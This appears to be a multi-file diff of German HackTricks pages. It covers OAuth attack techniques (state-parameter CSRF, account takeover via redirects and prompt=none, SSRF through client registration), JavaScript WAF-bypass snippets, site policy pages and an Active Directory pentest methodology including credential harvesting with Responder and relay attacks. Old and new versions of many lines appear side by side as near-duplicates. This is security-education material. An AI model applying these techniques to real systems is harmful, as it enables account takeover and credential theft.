In OAuth-Implementierungen kann der Missbrauch oder das Fehlen des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle tritt auf, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle tritt auf, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
Angreifer können dies ausnutzen, indem sie den Autorisierungsprozess abfangen, um ihr Konto mit dem Konto eines Opfers zu verknüpfen, was zu potenziellen **Kontoübernahmen** führen kann. Dies ist besonders kritisch in Anwendungen, in denen OAuth für **Authentifizierungszwecke** verwendet wird.
Echte Beispiele für diese Schwachstelle wurden in verschiedenen **CTF-Herausforderungen** und **Hacking-Plattformen** dokumentiert, die ihre praktischen Auswirkungen hervorheben. Das Problem erstreckt sich auch auf Integrationen mit Drittanbieterdiensten wie **Slack**, **Stripe** und **PayPal**, bei denen Angreifer Benachrichtigungen oder Zahlungen auf ihre Konten umleiten können.
Eine ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
Die ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
### Vor der Kontoübernahme <a href="#ebe4" id="ebe4"></a>
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vom Angreifer erstellten Konto verknüpfen, was zu unbefugtem Zugriff führt.
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vorab erstellten Konto des Angreifers verknüpfen, was zu unbefugtem Zugriff führt.
2. **Ausnutzung laxen OAuth-E-Mail-Verifizierung**: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich bei ihrem Dienst registrieren und dann die Kontoe-Mail auf die des Opfers ändern. Diese Methode birgt ähnlich das Risiko eines unbefugten Zugriffs auf das Konto, ähnlich dem ersten Szenario, jedoch über einen anderen Angriffsvektor.
### Offenlegung von Geheimnissen <a href="#e177" id="e177"></a>
Die Identifizierung und der Schutz geheimer OAuth-Parameter sind entscheidend. Während die **`client_id`** sicher offengelegt werden kann, birgt die Offenlegung des **`client_secret`** erhebliche Risiken. Wenn das `client_secret` kompromittiert wird, können Angreifer die Identität und das Vertrauen der Anwendung ausnutzen, um **Benutzer-`access_tokens`** und private Informationen zu **stehlen**.
Eine häufige Schwachstelle entsteht, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungscodes gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und so den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
Eine häufige Schwachstelle tritt auf, wenn Anwendungen fälschlicherweise den Austausch des Autorisierungscodes gegen ein `access_token` auf der Client-Seite anstelle der Server-Seite behandeln. Dieser Fehler führt zur Offenlegung des `client_secret`, was es Angreifern ermöglicht, `access_tokens` im Namen der Anwendung zu generieren. Darüber hinaus könnten Angreifer durch Social Engineering Privilegien erhöhen, indem sie zusätzliche Scopes zur OAuth-Autorisierung hinzufügen und den vertrauenswürdigen Status der Anwendung weiter ausnutzen.
### Client Secret Bruteforce
@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer-Header leckt Code + Status
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite navigiert, ist er anfällig.
Sobald der Client den **Code und Status** hat, wenn er **im Referer-Header reflektiert wird**, während er zu einer anderen Seite browsed, ist er anfällig.
### Zugriffstoken im Browserverlauf gespeichert
@ -146,7 +146,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Für detailliertere Informationen darüber, wie man AWS Cognito missbrauchen kann, siehe:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### Missbrauch anderer App-Token <a href="#bda5" id="bda5"></a>
@ -160,20 +160,20 @@ Das liegt daran, dass ein **Angreifer** eine **Anwendung, die OAuth unterstützt
### Zwei Links & Cookie <a href="#bda5" id="bda5"></a>
Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) war es möglich, ein Opfer dazu zu bringen, eine Seite mit einem **returnUrl** zu öffnen, die auf den Host des Angreifers zeigt. Diese Informationen würden **in einem Cookie (RU)** gespeichert und in einem **späteren Schritt** wird die **Eingabeaufforderung** den **Benutzer** fragen, ob er den Zugriff auf den Host des Angreifers gewähren möchte.
Laut [**diesem Bericht**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) war es möglich, ein Opfer dazu zu bringen, eine Seite mit einem **returnUrl** zu öffnen, die auf den Host des Angreifers zeigt. Diese Informationen würden **in einem Cookie (RU)** gespeichert und in einem **späteren Schritt** wird die **Eingabeaufforderung** den **Benutzer** fragen, ob er Zugriff auf den Host des Angreifers gewähren möchte.
Um diese Eingabeaufforderung zu umgehen, war es möglich, einen Tab zu öffnen, um den **Oauth-Flow** zu initiieren, der dieses RU-Cookie mit der **returnUrl** setzen würde, den Tab zu schließen, bevor die Eingabeaufforderung angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann wird die **Eingabeaufforderung nicht über den Host des Angreifers informieren**, aber das Cookie würde auf ihn gesetzt, sodass das **Token an den Host des Angreifers** in der Umleitung gesendet wird.
### Eingabeaufforderungs-Interaktionsumgehung <a href="#bda5" id="bda5"></a>
Wie in [**diesem Video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q) erklärt, erlauben einige OAuth-Implementierungen, den **`prompt`** GET-Parameter als None (**`&prompt=none`**) anzugeben, um **zu verhindern, dass Benutzer gefragt werden, ob sie den gegebenen Zugriff** in einer Eingabeaufforderung im Web bestätigen, wenn sie bereits in der Plattform angemeldet sind.
Wie in [**diesem Video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q) erklärt, erlauben einige OAuth-Implementierungen, den **`prompt`** GET-Parameter als None (**`&prompt=none`**) anzugeben, um **zu verhindern, dass Benutzer gefragt werden, ob sie den gegebenen Zugriff** in einer Eingabeaufforderung im Web bestätigen möchten, wenn sie bereits in der Plattform angemeldet sind.
### response_mode
Wie [**in diesem Video erklärt**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), könnte es möglich sein, den Parameter **`response_mode`** anzugeben, um zu bestimmen, wo der Code in der endgültigen URL bereitgestellt werden soll:
Wie [**in diesem Video erklärt**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), könnte es möglich sein, den Parameter **`response_mode`** anzugeben, um zu bestimmen, wo der Code in der finalen URL bereitgestellt werden soll:
- `response_mode=query` -> Der Code wird in einem GET-Parameter bereitgestellt: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Der Code wird im URL-Fragmentparameter `#code=2397rf3gu93f` bereitgestellt
- `response_mode=fragment` -> Der Code wird im URL-Fragmentparameter bereitgestellt `#code=2397rf3gu93f`
- `response_mode=form_post` -> Der Code wird in einem POST-Formular mit einem Eingabefeld namens `code` und dem Wert bereitgestellt
- `response_mode=web_message` -> Der Code wird in einer Post-Nachricht gesendet: `window.opener.postMessage({"code": "asdasdasd...`
@ -187,8 +187,8 @@ Dieser [**Blogbeitrag**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
1. Das Opfer greift auf die Webseite des Angreifers zu
2. Das Opfer öffnet den bösartigen Link und ein Opener startet den Google OAuth-Flow mit `response_type=id_token,code&prompt=none` als zusätzliche Parameter unter Verwendung der **Referrer-Website des Angreifers**.
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er es zurück zum Wert des `redirect_uri`-Parameters (Opfer-Webseite) mit einem 30X-Code, der die Webseite des Angreifers im Referrer beibehält.
4. Die **Webseite des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, indem sie den Benutzer des Opfers zur Webseite des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Webseite des Opfers zu übernehmen.
3. Im Opener, nachdem der Anbieter das Opfer autorisiert hat, sendet er es zurück zum Wert des `redirect_uri`-Parameters (Opfer-Web) mit einem 30X-Code, der die Website des Angreifers im Referrer beibehält.
4. Die **Website des Opfers löst die offene Umleitung basierend auf dem Referrer aus**, indem sie den Benutzer des Opfers zur Website des Angreifers umleitet, da der **`response_type`** **`id_token,code`** war, wird der Code im **Fragment** der URL an den Angreifer zurückgesendet, was ihm ermöglicht, das Konto des Benutzers über Google auf der Website des Opfers zu übernehmen.
### SSRFs-Parameter <a href="#bda5" id="bda5"></a>
@ -203,17 +203,17 @@ Die dynamische Client-Registrierung in OAuth dient als weniger offensichtlicher,
- Der Registrierungsprozess kann unbeabsichtigt Server in mehreren Weisen SSRF aussetzen:
- **`logo_uri`**: Eine URL für das Logo der Client-Anwendung, die möglicherweise vom Server abgerufen wird, was SSRF auslösen oder zu XSS führen kann, wenn die URL falsch behandelt wird.
- **`jwks_uri`**: Eine URL zum JWK-Dokument des Clients, die, wenn bösartig erstellt, den Server dazu bringen kann, ausgehende Anfragen an einen vom Angreifer kontrollierten Server zu senden.
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, das der Server abrufen könnte und somit eine SSRF-Möglichkeit schafft.
- **`sector_identifier_uri`**: Verweist auf ein JSON-Array von `redirect_uris`, das der Server abrufen könnte, was eine SSRF-Möglichkeit schafft.
- **`request_uris`**: Listet erlaubte Anfrage-URIs für den Client auf, die ausgenutzt werden können, wenn der Server diese URIs zu Beginn des Autorisierungsprozesses abruft.
**Ausbeutungsstrategie:**
- SSRF kann ausgelöst werden, indem ein neuer Client mit bösartigen URLs in Parametern wie `logo_uri`, `jwks_uri` oder `sector_identifier_uri` registriert wird.
- Während eine direkte Ausbeutung über `request_uris` möglicherweise durch Whitelist-Kontrollen gemildert wird, kann die Bereitstellung einer vorregistrierten, vom Angreifer kontrollierten `request_uri` während der Autorisierungsphase SSRF erleichtern.
- Während eine direkte Ausbeutung über `request_uris` möglicherweise durch Whitelist-Kontrollen gemildert wird, kann die Bereitstellung einer vorregistrierten, vom Angreifer kontrollierten `request_uri` SSRF während der Autorisierungsphase erleichtern.
## OAuth-Anbieter-Race Conditions
## OAuth-Anbieter-Race-Conditions
Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, um mögliche Race Conditions zu testen**](race-condition.md).
Wenn die Plattform, die Sie testen, ein OAuth-Anbieter ist, [**lesen Sie dies, um auf mögliche Race Conditions zu testen**](race-condition.md).
## Referenzen

View File

@ -108,9 +108,9 @@ log.push(i)
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
### **Surrogatpaare BF**
### **Surrogate Pairs BF**
Diese Technik wird für XSS nicht sehr nützlich sein, könnte jedoch hilfreich sein, um WAF-Schutzmaßnahmen zu umgehen. Dieser Python-Code erhält als Eingabe 2 Bytes und sucht nach Surrogatpaaren, bei denen das erste Byte das letzte Byte des High-Surrogatpaars und das letzte Byte das letzte Byte des Low-Surrogatpaars ist.
Diese Technik wird für XSS nicht sehr nützlich sein, könnte jedoch nützlich sein, um WAF-Schutzmaßnahmen zu umgehen. Dieser Python-Code erhält als Eingabe 2 Bytes und sucht nach einem Surrogatpaar, bei dem das erste Byte das letzte Byte des High-Surrogatpaars und das letzte Byte das letzte Byte des Low-Surrogatpaars ist.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -152,7 +152,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -197,7 +197,7 @@ Das Tool **Hackability inspector** von Portswigger hilft dabei, die **Attribute*
## "--" Zuweisung
Der Dekrement-Operator `--` ist auch eine Zuweisung. Dieser Operator nimmt einen Wert und dekrementiert ihn um eins. Wenn dieser Wert keine Zahl ist, wird er auf `NaN` gesetzt. Dies kann verwendet werden, um **den Inhalt von Variablen aus der Umgebung zu entfernen**.
Der Dekrement-Operator `--` ist ebenfalls eine Zuweisung. Dieser Operator nimmt einen Wert und verringert ihn dann um eins. Wenn dieser Wert keine Zahl ist, wird er auf `NaN` gesetzt. Dies kann verwendet werden, um **den Inhalt von Variablen aus der Umgebung zu entfernen**.
![](<../../images/image (993).png>)
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Also sind die meisten der vorherigen Funktionen tatsächlich nutzlos, da wir sie nirgendwo speichern, um sie zu speichern und aufzurufen. Beispiel: Erstellen der `plusone`-Funktion:
Also sind die meisten der vorherigen Funktionen tatsächlich nutzlos, da wir sie nirgendwo speichern, um sie zu speichern und aufzurufen. Beispiel für die Erstellung der `plusone`-Funktion:
```javascript
// Traductional
function plusone(a) {

View File

@ -4,12 +4,12 @@ Letzte Aktualisierung: 02.04.2023
### Einführung
Diese Cookies-Richtlinie gilt für die folgenden Websites, die im Besitz und unter der Verwaltung des HackTricks-Teams ("HackTricks", "wir", "uns" oder "unser") stehen:
Diese Cookies-Richtlinie gilt für die folgenden Websites, die im Besitz des HackTricks-Teams sind und von diesem betrieben werden ("HackTricks", "wir", "uns" oder "unser"):
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
Durch die Nutzung einer dieser Websites stimmen Sie der Verwendung von Cookies gemäß dieser Cookies-Richtlinie zu. Wenn Sie nicht einverstanden sind, deaktivieren Sie bitte Cookies in den Einstellungen Ihres Browsers oder sehen Sie von der Nutzung unserer Websites ab.
@ -23,10 +23,10 @@ Wir verwenden Cookies auf unseren Websites zu folgenden Zwecken:
1. Essenzielle Cookies: Diese Cookies sind notwendig für die grundlegende Funktionalität unserer Websites, wie z.B. die Aktivierung der Benutzerauthentifizierung, die Aufrechterhaltung der Sicherheit und das Merken Ihrer Präferenzen.
2. Leistungs-Cookies: Diese Cookies helfen uns zu verstehen, wie Besucher mit unseren Websites interagieren, indem sie Informationen anonym sammeln und berichten. Dies ermöglicht es uns, die Leistung unserer Website und das Benutzererlebnis zu verbessern.
3. Funktionalitäts-Cookies: Diese Cookies ermöglichen es unseren Websites, Entscheidungen, die Sie treffen, wie z.B. Ihre Sprache oder Region, zu merken, um ein personalisierteres Erlebnis zu bieten.
3. Funktions-Cookies: Diese Cookies ermöglichen es unseren Websites, Entscheidungen, die Sie treffen, wie z.B. Ihre Sprache oder Region, zu merken, um ein personalisierteres Erlebnis zu bieten.
4. Targeting-/Werbe-Cookies: Diese Cookies werden verwendet, um relevante Anzeigen und Marketingkommunikationen basierend auf Ihren Interessen, Ihrem Browserverlauf und Ihren Interaktionen mit unseren Websites bereitzustellen.
Darüber hinaus werden die Seiten book.hacktricks.xyz und cloud.hacktricks.xyz in Gitbook gehostet. Weitere Informationen zu den Cookies von Gitbook finden Sie unter [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
Darüber hinaus werden die Seiten book.hacktricks.wiki und cloud.hacktricks.wiki in Gitbook gehostet. Weitere Informationen zu den Cookies von Gitbook finden Sie unter [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Cookies von Drittanbietern

View File

@ -11,11 +11,11 @@
> - Hacking geht darum zu lernen, und Lernen sollte so kostenlos wie möglich sein.
> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
> - **SPEICHERN** Sie großartige **Hacking** Techniken, die die Community veröffentlicht, und geben Sie den **URSPRÜNGLICHEN** **AUTOREN** alle **Credits**.
> - **Wir wollen nicht den Kredit von anderen Menschen**, wir wollen nur coole Tricks für alle speichern.
> - **Wir wollen nicht die Anerkennung von anderen**, wir wollen nur coole Tricks für alle speichern.
> - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks.
> - In mehreren Fällen werden wir einfach **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den **Leser ermutigen, den ursprünglichen Beitrag** für weitere Details zu besuchen.
> - **ORGANISIEREN** Sie alle Hacking-Techniken im Buch, damit es **ZUGÄNGLICHER** ist.
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen** können.
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen können**.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -26,14 +26,14 @@
> - **Vielen Dank für diese Ressourcen, wie kann ich Ihnen danken?**
Sie können den HackTricks-Teams öffentlich danken, indem Sie in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnen.\
Wenn Sie besonders dankbar sind, können Sie auch [**das Projekt hier sponsern**](https://github.com/sponsors/carlospolop).\
Wenn Sie besonders dankbar sind, können Sie auch [**das Projekt hier unterstützen**](https://github.com/sponsors/carlospolop).\
Und vergessen Sie nicht, **einen Stern in den Github-Projekten zu geben!** (Die Links finden Sie unten).
> [!TIP]
>
> - **Wie kann ich zum Projekt beitragen?**
Sie können **neue Tipps und Tricks mit der Community teilen oder Fehler** beheben, die Sie in den Büchern finden, indem Sie einen **Pull Request** an die jeweiligen Github-Seiten senden:
Sie können **neue Tipps und Tricks mit der Community teilen oder Fehler** in den Büchern beheben, indem Sie einen **Pull Request** an die jeweiligen Github-Seiten senden:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -44,7 +44,7 @@ Vergessen Sie nicht, **einen Stern in den Github-Projekten zu geben!**
>
> - **Kann ich einige Inhalte von HackTricks kopieren und in meinem Blog verwenden?**
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von wo der Inhalt entnommen wurde.
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von wo der Inhalt stammt.
> [!TIP]
>
@ -57,7 +57,7 @@ Wenn Sie ein Bibtex benötigen, können Sie etwas verwenden wie:
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
@ -84,19 +84,19 @@ Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden wie andere Blo
>
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogbeitrag basiert, aber nicht referenziert ist?**
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lassen Sie es uns über Github-Issues, Twitter, Discord... wissen, den Link zur HackTricks-Seite mit dem Inhalt und den Link zu Ihrem Blog und **wir werden es überprüfen und so schnell wie möglich hinzufügen**.
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lassen Sie es uns über Github-Issues, Twitter, Discord... wissen, den Link zur HackTricks-Seite mit dem Inhalt und den Link zu Ihrem Blog, und **wir werden es überprüfen und so schnell wie möglich hinzufügen**.
> [!CAUTION]
>
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte nicht, dass sie dort sind?**
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte, dass sie dort nicht sind?**
Beachten Sie, dass Links zu Ihrer Seite in HackTricks:
- Ihre **SEO** verbessern
- Ihr **SEO** verbessern
- Der Inhalt wird **in mehr als 15 Sprachen übersetzt**, was es mehr Menschen ermöglicht, auf diesen Inhalt zuzugreifen
- **HackTricks ermutigt** die Menschen, **Ihre Seite zu überprüfen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem eine Seite von ihnen in HackTricks haben, mehr Besuche erhalten)
- **HackTricks ermutigt** die Menschen, **Ihre Seite zu besuchen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem ihre Seite in HackTricks ist, mehr Besuche erhalten)
Wenn Sie jedoch möchten, dass der Inhalt Ihres Blogs aus HackTricks entfernt wird, lassen Sie es uns einfach wissen und wir werden definitiv **jeden Link zu Ihrem Blog** und jeden darauf basierenden Inhalt entfernen.
Wenn Sie jedoch weiterhin möchten, dass der Inhalt Ihres Blogs aus HackTricks entfernt wird, lassen Sie es uns einfach wissen und wir werden definitiv **jeden Link zu Ihrem Blog** und jeden darauf basierenden Inhalt entfernen.
> [!CAUTION]
>
@ -104,7 +104,7 @@ Wenn Sie jedoch möchten, dass der Inhalt Ihres Blogs aus HackTricks entfernt wi
Wir **geben immer den ursprünglichen Autoren alle Credits**. Wenn Sie eine Seite mit kopierten Inhalten ohne referenzierte Originalquelle finden, lassen Sie es uns wissen und wir werden entweder **es entfernen**, **den Link vor dem Text hinzufügen** oder **es umschreiben und den Link hinzufügen**.
## LIZENZ
## LICENSE
Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben.

View File

@ -1,10 +1,10 @@
# Active Directory Methodology
# Active Directory Methodologie
{{#include ../../banners/hacktricks-training.md}}
## Grundüberblick
**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domänen**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist so konzipiert, dass es skalierbar ist und die Organisation einer umfangreichen Anzahl von Benutzern in verwaltbare **Gruppen** und **Untergruppen** erleichtert, während **Zugriffsrechte** auf verschiedenen Ebenen kontrolliert werden.
**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domänen**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist darauf ausgelegt, skalierbar zu sein, und erleichtert die Organisation einer umfangreichen Anzahl von Benutzern in verwaltbare **Gruppen** und **Untergruppen**, während **Zugriffsrechte** auf verschiedenen Ebenen kontrolliert werden.
Die Struktur von **Active Directory** besteht aus drei primären Ebenen: **Domänen**, **Bäume** und **Wälder**. Eine **Domäne** umfasst eine Sammlung von Objekten, wie **Benutzern** oder **Geräten**, die eine gemeinsame Datenbank teilen. **Bäume** sind Gruppen dieser Domänen, die durch eine gemeinsame Struktur verbunden sind, und ein **Wald** stellt die Sammlung mehrerer Bäume dar, die durch **Vertrauensverhältnisse** miteinander verbunden sind und die oberste Ebene der Organisationsstruktur bilden. Bestimmte **Zugriffs-** und **Kommunikationsrechte** können auf jeder dieser Ebenen festgelegt werden.
@ -12,7 +12,7 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
1. **Verzeichnis** Beherbergt alle Informationen zu Active Directory-Objekten.
2. **Objekt** Bezeichnet Entitäten im Verzeichnis, einschließlich **Benutzern**, **Gruppen** oder **freigegebenen Ordnern**.
3. **Domäne** Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Walds** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
3. **Domäne** Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Waldes** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
4. **Baum** Eine Gruppierung von Domänen, die eine gemeinsame Stammdomäne teilen.
5. **Wald** Der Höhepunkt der Organisationsstruktur in Active Directory, bestehend aus mehreren Bäumen mit **Vertrauensverhältnissen** untereinander.
@ -22,7 +22,7 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
2. **Zertifikatsdienste** Überwacht die Erstellung, Verteilung und Verwaltung sicherer **digitaler Zertifikate**.
3. **Leichtgewichtige Verzeichnisdienste** Unterstützt verzeichnisfähige Anwendungen über das **LDAP-Protokoll**.
4. **Verzeichnis-Federationsdienste** Bietet **Single-Sign-On**-Funktionen zur Authentifizierung von Benutzern über mehrere Webanwendungen in einer einzigen Sitzung.
5. **Rechtsverwaltung** Hilft beim Schutz urheberrechtlich geschützter Materialien, indem die unbefugte Verbreitung und Nutzung reguliert wird.
5. **Rechtsmanagement** Hilft beim Schutz urheberrechtlich geschützter Materialien, indem es deren unbefugte Verbreitung und Nutzung reguliert.
6. **DNS-Dienst** Entscheidend für die Auflösung von **Domänennamen**.
Für eine detailliertere Erklärung siehe: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
@ -64,12 +64,12 @@ Wenn Sie nur Zugriff auf eine AD-Umgebung haben, aber keine Anmeldeinformationen
{{#endref}}
- **Das Netzwerk vergiften**
- Anmeldeinformationen sammeln [**indem Sie Dienste mit Responder impersonieren**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Auf Hosts zugreifen, indem Sie [**den Relay-Angriff ausnutzen**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Anmeldeinformationen **exponieren**, indem Sie [**falsche UPnP-Dienste mit evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) bereitstellen
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Benutzernamen/Namen aus internen Dokumenten, sozialen Medien, Diensten (hauptsächlich Web) innerhalb der Domänenumgebungen und auch aus öffentlich verfügbaren Quellen extrahieren.
- Wenn Sie die vollständigen Namen von Unternehmensmitarbeitern finden, könnten Sie verschiedene AD **Benutzernamenskonventionen** ausprobieren (**[lesen Sie dies](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Die häufigsten Konventionen sind: _NameSurname_, _Name.Surname_, _NamSur_ (3 Buchstaben von jedem), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
- Sammeln Sie Anmeldeinformationen [**indem Sie Dienste mit Responder impersonieren**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Greifen Sie auf Hosts zu, indem Sie [**den Relay-Angriff ausnutzen**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Sammeln Sie Anmeldeinformationen **indem Sie** [**falsche UPnP-Dienste mit evil-S exponieren**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Extrahieren Sie Benutzernamen/Namen aus internen Dokumenten, sozialen Medien, Diensten (hauptsächlich Web) innerhalb der Domänenumgebungen und auch aus öffentlich verfügbaren.
- Wenn Sie die vollständigen Namen von Unternehmensmitarbeitern finden, könnten Sie verschiedene AD **Benutzername-Konventionen** ausprobieren (**[lesen Sie dies](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Die häufigsten Konventionen sind: _NameNachname_, _Name.Nachname_, _NamNach_ (3 Buchstaben von jedem), _Nam.Nach_, _NNachname_, _N.Nachname_, _NachnameName_, _Nachname.Name_, _NachnameN_, _Nachname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
- Werkzeuge:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -107,7 +107,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
>
> Sie sollten jedoch den **Namen der Personen, die im Unternehmen arbeiten**, aus dem Recon-Schritt haben, den Sie zuvor durchgeführt haben sollten. Mit dem Vorname und Nachname könnten Sie das Skript [**namemash.py**](https://gist.github.com/superkojiman/11076951) verwenden, um potenziell gültige Benutzernamen zu generieren.
### Kenntnis von einem oder mehreren Benutzernamen
### Kenntnis eines oder mehrerer Benutzernamen
